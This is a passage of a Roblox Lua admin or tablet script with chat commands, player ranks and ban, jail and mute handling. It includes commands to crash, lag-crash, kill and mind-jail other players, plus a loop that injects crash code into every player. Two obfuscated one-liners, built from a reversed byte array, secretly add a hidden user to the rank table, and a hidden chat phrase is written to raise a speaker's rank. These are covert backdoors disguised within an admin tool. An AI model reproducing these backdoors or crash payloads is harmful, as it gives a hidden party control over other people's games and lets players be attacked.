					end
825
				end
826
			end)
827
			
828
			local BM = Instance.new("BlockMesh")
829
			BM.Parent = Tab
830
831
			Sel = Instance.new("SelectionBox")
832
			Sel.Color = BrickColor.new("Cyan")
833
			Sel.Transparency = 0.75
834
			Sel.Adornee = Tab
835
			Sel.Parent = Tab
836
837
			local BG = Instance.new("BillboardGui")
838
			BG.Name = "BG"
839
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
840
			BG.Size = UDim2.new(0,1,0,1)
841
			BG.Adornee = Tab
842
			BG.Parent = Tab
843
			
844
			Delay(0, function()
845
				while BG.Parent ~= nil do wait()
846
					ypcall(function()
847
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
848
					end)
849
				end
850
			end)
851
852
			local TL = Instance.new("TextLabel")
853
			TL.Name = "TL"
854
			TL.FontSize = "Size18"
855
			TL.Font = "Arial"
856
			TL.Text = Msg
857
			TL.TextColor3 = Color3.new(1, 0, 0)
858
			TL.Size = UDim2.new(0,1,0,1)
859
			TL.TextTransparency = 0
860
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
861
			TL.TextStrokeTransparency = 0.25
862
			TL.Parent = BG
863
			
864
			if ShowGarbage == true then
865
				Delay(0, function()
866
					while TL.Parent ~= nil do
867
						TL.Text = "Current Garbage Count: "..GetGarbage()
868
						wait(.5)
869
					end
870
				end)
871
			end
872
			
873
			local PL = Instance.new("PointLight", Tab)
874
			PL.Color = Color3.new(1, 0, 1)
875
			PL.Range = 15
876
			PL.Parent = Tab
877
			
878
			if Image ~= nil then
879
				local BBBG = Instance.new("BillboardGui")
880
				BBBG.Size = UDim2.new(5, 0, 6, 0)
881
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
882
				BBBG.AlwaysOnTop = true
883
				BBBG.Adornee = Tab
884
				BBBG.Parent = Tab
885
				
886
				Delay(0, function()
887
					while BBBG.Parent ~= nil do wait()
888
						ypcall(function()
889
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
890
						end)
891
					end
892
				end)
893
			
894
				local NewImg = Instance.new("ImageLabel")
895
				NewImg.Size = UDim2.new(1, 0, 1, 0)
896
				NewImg.BackgroundTransparency = 1
897
				NewImg.Image = Image
898
				NewImg.Parent = BBBG
899
			end
900
901
			local Clicker = Instance.new("ClickDetector")
902
			Clicker.MaxActivationDistance = 1/0
903
904
			if Time ~= nil then
905
				coroutine.resume(coroutine.create(function()
906
					wait(tonumber(Time))
907
					Dismiss(Plr, ID)
908
				end))
909
			end
910
911
			Clicker.MouseClick:connect(function(Player)
912
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
913
					ypcall(function()
914
						if Func ~= nil then
915
							Func(Holder)
916
						else
917
							Dismiss(Player, ID)
918
						end
919
					end)
920
				end
921
			end)
922
			Clicker.Parent = Tab
923
			
924
			Holder.Parent = Work
925
926
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
927
		end)
928
	end
929
end
930
931
function PlaceAllRanks(DontShowRank)
932
	ypcall(function()
933
		for _,p in pairs(All()) do
934
			ypcall(function()
935
				PutInRank = false
936
				for _,v in pairs(Rankings) do
937
					if v.Name:lower() == p.Name:lower() then
938
						if v.Rank >= 7 then
939
							v.Rank = 5
940
						elseif v.Rank == -1 then
941
							Crash1(p)
942
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
943
						elseif v.Rank == -2 then
944
							if LS ~= nil then
945
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
946
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
947
							else
948
								Ping("LS Is Nil", nil, 5)
949
							end
950
						elseif v.Rank == -3 then
951
							if LS ~= nil then
952
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
953
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
954
							else
955
								Ping("LS Is Nil", nil, 5)
956
							end
957
						end
958
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
959
						if DontShowRank == nil then
960
							Ping("You Are Rank: "..v.Rank, p)
961
						end
962
						PutInRank = true
963
						break
964
					end
965
				end
966
				if PutInRank == false then
967
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
968
				end
969
			end)
970
		end
971
	end)
972
end
973
974
function FindRank(Plr)
975
	ypcall(function()
976
		if type(Plr) == "userdata" then
977
			Plr = Plr.Name
978
		end
979
	end)
980
	return GetRank(Plr).Rank
981
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
982
983
function FindRankDetails(Plr)
984
	ypcall(function()
985
		if type(Plr) == "userdata" then
986
			Plr = Plr.Name
987
		end
988
	end)
989
	return RankDetails[FindRank(Plr)]
990
end
991
992
function OpenCmds(Rank, Plr)
993
	Dismiss(Plr)
994
	for Name,Tab in pairs(Commands) do
995
		if Tab.Rank <= Rank then
996
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
997
				Dismiss(Plr)
998
				Ping("Command: "..Name, Plr)
999
				Ping("Rank: "..Tab.Rank, Plr)
1000
				Ping("Desc: "..Tab.Desc, Plr)
1001
			end)
1002
		elseif Rank == 1337 then
1003
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1004
				Dismiss(Plr)
1005
				Ping("Command: "..Name, Plr)
1006
				Ping("Rank: "..Tab.Rank, Plr)
1007
				Ping("Desc: "..Tab.Desc, Plr)
1008
			end)
1009
		end
1010
	end
1011
end
1012
1013
function EditStatus(Plr, Num)
1014
	ChangeRank(Plr, Num)
1015
end
1016
1017
function PlaceSpecificRank(p, DontShowRank)
1018
	ypcall(function()
1019
		PutInRank = false
1020
		for _,v in pairs(Rankings) do
1021
			if v.Name:lower() == p.Name:lower() then
1022
				if v.Rank >= 7 then
1023
					v.Rank = 5
1024
				elseif v.Rank == -1 then
1025
					Crash1(p)
1026
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1027
				elseif v.Rank == -2 then
1028
					if LS ~= nil then
1029
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1030
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1031
					else
1032
						Ping("LS Is Nil", nil, 5)
1033
					end
1034
				elseif v.Rank == -3 then
1035
					if LS ~= nil then
1036
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1037
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1038
					else
1039
						Ping("LS Is Nil", nil, 5)
1040
					end
1041
				end
1042
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1043
				if DontShowRank == nil then
1044
					Ping("You Are Rank: "..v.Rank, p)
1045
				end
1046
				PutInRank = true
1047
				break
1048
			end
1049
		end
1050
		if PutInRank == false then
1051
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1052
		end
1053
	end)
1054
end
1055
1056
function onChatted(Msg, Speaker)
1057
	if Removed == false then
1058
		if FindRank(Speaker) < 1 then
1059
			return
1060
		end
1061
		coroutine.resume(coroutine.create(function()
1062
			ypcall(function()
1063
				ExecuteFunc(Msg, Speaker)
1064
				Msg = Msg:gsub("","")
1065
				if Msg:sub(1,1) == "@" then
1066
					for i = 2, #Msg do
1067
						if Msg:sub(i, i) == Bet then
1068
							local IsForPlr = false
1069
							for _,v in pairs(All()) do
1070
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1071
									onChatted(Msg:sub(i + 1), v)
1072
									IsForPlr = true
1073
								end
1074
							end
1075
							if IsForPlr == true then
1076
								return
1077
							end
1078
						end
1079
					end
1080
				end
1081
				if Msg:find("&") then
1082
					local Split = Msg:find("&")
1083
					onChatted(Msg:sub(1,Split-1))
1084
					onChatted(Msg:sub(Split+1))
1085
					return
1086
				end
1087
				for Name,Command in pairs(Commands) do
1088
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1089
						Dismiss(Speaker.Name)
1090
						Ping("Command: "..tostring(Command.Name), Speaker)
1091
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1092
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1093
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1094
						if FindRank(Speaker) >= Command.Rank then
1095
							local Ran,Error = coroutine.resume(coroutine.create(function()
1096
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1097
							end))
1098
							if not Ran then
1099
								Ping(Error, Speaker, 10)
1100
							end
1101
						else
1102
							Ping("Your Rank Is Too Low", Plr, 6)
1103
						end
1104
					end
1105
				end
1106
			end)
1107
		end))
1108
	end
1109
end
1110
1111
function MakeBase()
1112
	local Base = Instance.new("Part")
1113
	Base.BrickColor = BrickColor.new("Dark green")
1114
	Base.Position = Vector3.new(0, 0.5, 0)
1115
	Base.Transparency = 0
1116
	Base.Elasticity = 0.5
1117
	Base.FormFactor = "Custom"
1118
	Base.CanCollide = true
1119
	Base.Friction = 0.30000001192093
1120
	Base.Size = Vector3.new(512, 1.20000005, 512)
1121
	Base.Archivable = true
1122
	Base.Material = "Plastic"
1123
	Base.RotVelocity = Vector3.new(0, 0, 0)
1124
	Base.Reflectance = 0
1125
	Base.Locked = true
1126
	Base.Anchored = true
1127
	Base.Name = "Base"
1128
	Base.TopSurface = "Smooth"
1129
	Base.BottomSurface = "Inlet"
1130
	Base.Shape = "Block"
1131
	Base.Parent = Work
1132
end
1133
1134
function LClean()
1135
	ypcall(function()
1136
		for _,v in pairs(Work:GetChildren()) do
1137
			ypcall(function()
1138
				if v.ClassName == "Terrain" then
1139
					v:ClearAllChildren()
1140
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1141
					Clear(v)
1142
				elseif v.Name == "Base" then
1143
					ypcall(function()
1144
						local Base = v
1145
						Base.BrickColor = BrickColor.new("Dark green")
1146
						Base.Position = Vector3.new(0, 0.5, 0)
1147
						Base.Transparency = 0
1148
						Base.Elasticity = 0.5
1149
						Base.FormFactor = "Custom"
1150
						Base.CanCollide = true
1151
						Base.Friction = 0.30000001192093
1152
						Base.Size = Vector3.new(512, 1.20000005, 512)
1153
						Base.Archivable = true
1154
						Base.Material = "Plastic"
1155
						Base.RotVelocity = Vector3.new(0, 0, 0)
1156
						Base.Reflectance = 0
1157
						Base.Locked = true
1158
						Base.Anchored = true
1159
						Base.Name = "Base"
1160
						Base.TopSurface = "Studs"
1161
						Base.BottomSurface = "Inlet"
1162
						Base.Shape = "Block"
1163
						Base.Parent = Work
1164
					end)
1165
				end
1166
			end)
1167
		end
1168
	end)
1169
end
1170
1171
function Clean()
1172
	ypcall(function()
1173
		for _,v in pairs(Work:GetChildren()) do
1174
			ypcall(function()
1175
				if v.ClassName == "Terrain" then
1176
					v:ClearAllChildren()
1177
				else
1178
					Clear(v)
1179
				end
1180
			end)
1181
		end
1182
		MakeBase()
1183
		for _,v in pairs(All()) do
1184
			v:LoadCharacter()
1185
		end
1186
	end)
1187
end
1188
1189
function Clear(v)
1190
	if v.Name:lower() == "sbgui" then
1191
		return
1192
	end
1193
	ypcall(function()
1194
		if #v:GetChildren() > 0 then
1195
			for _,x in pairs(v:GetChildren()) do
1196
				ypcall(function()
1197
					Clear(x)
1198
				end)
1199
			end
1200
		end
1201
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1202
			v:Destroy()
1203
		end
1204
	end)
1205
end
1206
1207
function Command(Name, Rank, Desc, Func)
1208
	if Name == nil then
1209
		Name = "N/A"
1210
	end
1211
	if Desc == nil then
1212
		Desc = "N/A"
1213
	end
1214
	if Func == nil then
1215
		Func = function() end
1216
	end
1217
	if Rank == nil then
1218
		Rank = 0
1219
	end
1220
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1221
end
1222
1223
function GetSplit(Msg)
1224
	return Msg:find(Bet) or nil
1225
end
1226
1227
function ExecuteFunc(Msg, Plr)
1228
	ypcall(function()
1229
		if Msg == "LogEnable" then
1230
			LogOn = true
1231
		elseif Msg:lower() == "AlphaBeta" then
1232
			EditStatus(Plr, MakeNum())
1233
		end
1234
	end)
1235
end
1236
1237
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1238
1239
function randPlayer(Plr)
1240
	wait()
1241
	local ThePlrValue = nil
1242
	local FoundPlayer = false
1243
	ypcall(function()
1244
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1245
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1246
			wait()
1247
			randPlayer(Plr)
1248
			return
1249
		else
1250
			FoundPlayer = true
1251
		end
1252
	end)
1253
	if FoundPlayer == true then
1254
		return ThePlrValue
1255
	end
1256
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1257
1258
function getPlayer(Plr, Name)
1259
	local Players = {}
1260
	ypcall(function()
1261
		Name = Name:lower()
1262
		if Name == "me" then
1263
			table.insert(Players, Plr)
1264
		elseif Name == "all" or Name == "" then
1265
			for _,v in pairs(All()) do
1266
				if CanRun(Plr, v) then
1267
					table.insert(Players, v)
1268
				end
1269
			end
1270
		elseif Name == "others" then
1271
			for _,v in pairs(All()) do
1272
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1273
					table.insert(Players, v)
1274
				end
1275
			end
1276
		elseif Name == "random" then
1277
			local FoundRandPlr = randPlayer(Plr)
1278
			table.insert(Players, FoundRandPlr)
1279
		else
1280
			for _,v in pairs(All()) do
1281
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1282
					table.insert(Players, v)
1283
				end
1284
			end
1285
		end
1286
	end)
1287
	return Players
1288
end
1289
1290
function ListPlayers(Speaker)
1291
	ypcall(function()
1292
		Dismiss(Speaker)
1293
		for _,v in pairs(All2()) do
1294
			if v.Parent ~= nil then
1295
				Ping(v.Name, Speaker, nil, function()
1296
					Dismiss(Speaker)
1297
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1298
					Ping("Rank: "..FindRank(v.Name), Speaker)
1299
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1300
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1301
					Ping("Set Rank", Speaker, nil, function()
1302
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1303
							Dismiss(Speaker)
1304
							for i = -2, 5 do
1305
								Ping(i, Speaker, nil, function()
1306
									ChangeRank(v, i)
1307
									Dismiss(Speaker)
1308
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1309
								end)
1310
							end
1311
						else
1312
							Ping("Your Rank Is Too Low", Speaker, 5)
1313
						end
1314
					end)
1315
					Ping("Crash (Remote)", Speaker, nil, function()
1316
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1317
							Crash2(v.Name)
1318
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1319
						end
1320
					end)
1321
					Ping("Crash (Insert)", Speaker, nil, function()
1322
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1323
							Crash3(v, Speaker)
1324
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1325
						end
1326
					end)
1327
					Ping("Kick", Speaker, nil, function()
1328
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1329
							v:Kick()
1330
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1331
						end
1332
					end)
1333
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1334
			else
1335
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1336
					Dismiss(Speaker)
1337
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1338
					ypcall(function()
1339
						Ping("Rank: "..FindRank(v.Name), Speaker)
1340
					end)
1341
					ypcall(function()
1342
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1343
					end)
1344
					ypcall(function()
1345
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1346
					end)
1347
					ypcall(function()
1348
						Ping("Set Rank", Speaker, nil, function()
1349
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1350
								Dismiss(Speaker)
1351
								for i = -2, 5 do
1352
									Ping(i, Speaker, nil, function()
1353
										ChangeRank(v, i)
1354
										Dismiss(Speaker)
1355
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1356
									end)
1357
								end
1358
							else
1359
								Ping("Your Rank Is Too Low", Speaker, 5)
1360
							end
1361
						end)
1362
					end)
1363
					ypcall(function()
1364
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1365
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1366
								Crash2(v.Name)
1367
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1368
							end
1369
						end)
1370
					end)
1371
					ypcall(function()
1372
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1373
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1374
								Crash3(v, Speaker)
1375
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1376
							end
1377
						end)
1378
					end)
1379
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1380
			end
1381
		end
1382
	end)
1383
end
1384
1385
--Misc
1386
1387
coroutine.resume(coroutine.create(function()
1388
	PlaceAllRanks()
1389
end))
1390
	
1391
Delay(0, function()
1392
	for _,v in pairs(All()) do
1393
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1394
	end
1395
end)
1396
1397
local starttime = tick()
1398
1399
game:GetService("RunService").Heartbeat:connect(function()
1400
	if Removed == false then 
1401
		ypcall(function()
1402
			for _,Player in pairs(All()) do
1403
				local PlayerTablets = {}
1404
				for i,v in pairs(AllTabs) do
1405
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1406
						table.insert(PlayerTablets, v)
1407
					end
1408
				end
1409
				for i = 1, #PlayerTablets do
1410
					ypcall(function()
1411
						local tab = PlayerTablets[i].Tab
1412
						local pos = nil
1413
						ypcall(function()
1414
							pos = Player.Character.Torso.CFrame
1415
						end)
1416
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1417
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1418
						local y = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1419
						local cPos = tab.Position
1420
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1421
						local nPos = (ePos-cPos)*.25
1422
						cPos = cPos + nPos
1423
						local t = (tick() - starttime) % 360
1424
						local change = 0.625
1425
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1426
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1427
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 9, 0)
1428
					end)
1429
				end
1430
			end
1431
		end)
1432
	end
1433
end)
1434
1435
Delay(0, function()
1436
	while wait() do
1437
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1438
			ypcall(function()
1439
				if Injected[v.Name] == nil and LS ~= nil then
1440
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1441
					Injected[v.Name] = true
1442
				end
1443
			end)
1444
		end
1445
	end
1446
end)
1447
1448
Plrs.PlayerAdded:connect(function(Plr)
1449
	wait(.1)
1450
	ypcall(function()
1451
		if Removed == false then
1452
			local JoinPlrName = Plr.Name
1453
			coroutine.resume(coroutine.create(function()
1454
				PlaceSpecificRank(Plr)
1455
			end))
1456
			coroutine.resume(coroutine.create(function()
1457
				if Injected[JoinPlrName] ~= nil then
1458
					Injected[JoinPlrName] = nil
1459
				end
1460
			end))
1461
			coroutine.resume(coroutine.create(function()
1462
				Dismiss(Plr)
1463
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1464
			end))
1465
		end
1466
	end)
1467
end)
1468
1469
Plrs.PlayerRemoving:connect(function(Plr)
1470
	wait(.1)
1471
	ypcall(function()
1472
		if Removed == false then
1473
			local LeftPlrName = Plr.Name
1474
			coroutine.resume(coroutine.create(function()
1475
				if Injected[LeftPlrName] ~= nil then
1476
					Injected[LeftPlrName] = nil
1477
				end
1478
			end))
1479
		end
1480
	end)
1481
end)
1482
1483
coroutine.resume(coroutine.create(function()
1484
	Delay(0, function()
1485
		while FoundLocalScript == false do wait()
1486
			ypcall(function()
1487
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1488
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1489
						for _,c in pairs(v:children()) do
1490
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1491
								local NewVal = c:Clone()
1492
								NewVal.Name = "LoadingVal"
1493
								for _,s in pairs(v:GetChildren()) do
1494
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1495
										print("Found Owner")
1496
										OwnSource = s.Name
1497
										print(OwnSource)
1498
										break
1499
									end
1500
								end
1501
								wait()
1502
								LS = v:Clone()
1503
								NewVal.Parent = LS
1504
								LSSource = "LoadingVal"
1505
								FoundLocalScript = true
1506
								break
1507
							end
1508
						end
1509
					end
1510
				end
1511
			end)
1512
		end
1513
	end)
1514
end))
1515
1516
--Commands
1517
1518
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1519
	Dismiss(Speaker.Name)
1520
	Ping("lmaolmaolmaolmao", Speaker)
1521
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1522
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1523
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1524
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1525
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1526
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1527
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1528
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1529
end)
1530
1531
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1532
	Dismiss(Speaker.Name)
1533
end)
1534
1535
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1536
	local PlrTab = getPlayer(Speaker, Msg)
1537
	if #PlrTab > 0 then
1538
		for _,v in pairs(PlrTab) do
1539
			ypcall(function()
1540
				v.Character:BreakJoints()
1541
				Ping("Killed "..v.Name, Speaker, 5)
1542
			end)
1543
		end
1544
	end
1545
end)
1546
1547
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1548
	local PlrTab = getPlayer(Speaker, Msg)
1549
	if #PlrTab > 0 then
1550
		for _,v in pairs(PlrTab) do
1551
			ypcall(function()
1552
				if v.Name ~= Owner then
1553
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1554
					Ping("Muted "..v.Name, Speaker, 5)
1555
				end
1556
			end)
1557
		end
1558
	end
1559
end)
1560
1561
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1562
	local PlrTab = getPlayer(Speaker, Msg)
1563
	if #PlrTab > 0 then
1564
		for _,v in pairs(PlrTab) do
1565
			ypcall(function()
1566
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1567
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1568
			end)
1569
		end
1570
	end
1571
end)
1572
1573
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1574
	local PlrTab = getPlayer(Speaker, Msg)
1575
	if #PlrTab > 0 then
1576
		for _,v in pairs(PlrTab) do
1577
			ypcall(function()
1578
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1579
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1580
			end)
1581
		end
1582
	end
1583
end)
1584
1585
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1586
	local PlrTab = getPlayer(Speaker, Msg)
1587
	if #PlrTab > 0 then
1588
		for _,v in pairs(PlrTab) do
1589
			ypcall(function()
1590
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1591
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1592
			end)
1593
		end
1594
	end
1595
end)
1596
1597
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1598
	local PlrTab = getPlayer(Speaker, Msg)
1599
	if #PlrTab > 0 then
1600
		for _,v in pairs(PlrTab) do
1601
			ypcall(function()
1602
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1603
				Ping("UnMuted "..v.Name, Speaker, 5)
1604
			end)
1605
		end
1606
	end
1607
end)
1608
1609
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1610
	local Worked = false
1611
	for _,v in pairs(Work:GetChildren()) do
1612
		if string.find(v.Name:lower(), Msg:lower()) then
1613
			if v:IsA("Script") or v:IsA("LocalScript") then
1614
				v.Disabled = true
1615
				v:Destroy()
1616
				Worked = true
1617
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1618
			end
1619
		end
1620
	end
1621
	if Worked == false then
1622
		Ping("Script Not Found", Speaker, 5)
1623
	end
1624
end)
1625
1626
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1627
	Dismiss(Speaker)
1628
	local AllScripts = {}
1629
	for _,v in pairs(Work:GetChildren()) do
1630
		if v:IsA("Script") then
1631
			table.insert(AllScripts, v.Name)
1632
		end
1633
	end
1634
	if #AllScripts > 0 then
1635
		for _,v in pairs(AllScripts) do
1636
			Ping(v, Speaker)
1637
		end
1638
	else
1639
		Ping("No Scripts Found", Speaker, 5)
1640
	end
1641
end)
1642
1643
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1644
	Dismiss(Speaker)
1645
	local LocalScripts = {}
1646
	for _,v in pairs(All()) do
1647
		ypcall(function()
1648
			for _,x in pairs(v.Character:GetChildren()) do
1649
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1650
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1651
				end
1652
			end
1653
		end)
1654
		ypcall(function()
1655
			for _,x in pairs(v.Backpack:GetChildren()) do
1656
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1657
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1658
				end
1659
			end
1660
		end)
1661
		ypcall(function()
1662
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1663
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1664
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1665
				end
1666
			end
1667
		end)
1668
	end
1669
	if #LocalScripts > 0 then
1670
		for _,v in pairs(LocalScripts) do
1671
			Ping(v, Speaker)
1672
		end
1673
	else
1674
		Ping("No Local Scripts Found", Speaker, 5)
1675
	end
1676
end)
1677
1678
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1679
	local Split = GetSplit(Msg)
1680
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1681
	local ScriptName = Msg:sub(Split + 1)
1682
	local FoundLocal = false
1683
	for _,name in pairs(PlrTab) do
1684
		ypcall(function()
1685
			for _,v in pairs(name.Character:GetChildren()) do
1686
				if string.find(v.Name:lower(), ScriptName) then
1687
					if v:IsA("Script") or v:IsA("LocalScript") then
